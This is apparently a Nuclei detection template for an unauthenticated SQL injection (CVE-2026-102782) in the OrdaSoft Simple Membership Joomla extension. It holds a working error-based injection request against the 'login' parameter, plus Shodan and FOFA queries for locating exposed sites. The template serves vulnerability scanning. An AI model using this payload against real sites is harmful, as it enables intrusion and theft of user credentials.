id: CVE-2026-102782

info:
  name: OrdaSoft Simple Membership < 7.4.0 - SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    OrdaSoft Simple Membership (com_simplemembership) for Joomla before 7.4.0 is vulnerable to unauthenticated SQL injection via the 'login' parameter of the checkLoginPass task (site/simplemembership.php). The handler passes the value through Joomla's generic input filter, which strips HTML but leaves quotes and SQL syntax intact, and concatenates it directly into the SQL query with no escaping or parameter binding. Error-based injection via extractvalue() lets unauthenticated attackers exfiltrate database contents.
  impact: |
    Unauthenticated attackers can read arbitrary database contents, including Joomla user credentials (usernames, emails, password hashes), session data and membership records, enabling further compromise of the site.
  remediation: |
    Update OrdaSoft Simple Membership to version 7.4.0 or later.
  reference:
    - https://github.com/murrez/CVE-2026-102782
    - https://pocbit.org/pocs/cve-2026-102782
    - https://nvd.nist.gov/vuln/detail/CVE-2026-102782
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-102782
    epss-score: 0.00896
    epss-percentile: 0.59527
    cwe-id: CWE-89
  metadata:
    max-request: 1
    vendor: ordasoft
    product: simple_membership
    shodan-query: http.html:"com_simplemembership"
    fofa-query: body="com_simplemembership"
  tags: cve,cve2026,joomla,sqli

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simplemembership&task=checkLoginPass&format=raw&login='%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,'md5({{num}})',0x7e))--%20-"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 4a0a0047304502206dc9c2fba7f6b07ab97625847f3824459973a53d460a7cff27ad67f7959709a7022100bbe6de3379f83f3c7d9ff596915acc4d1a6e9a36926d938213e98cb7f9aefa09:922c64590222798bb761d5b6d8e72950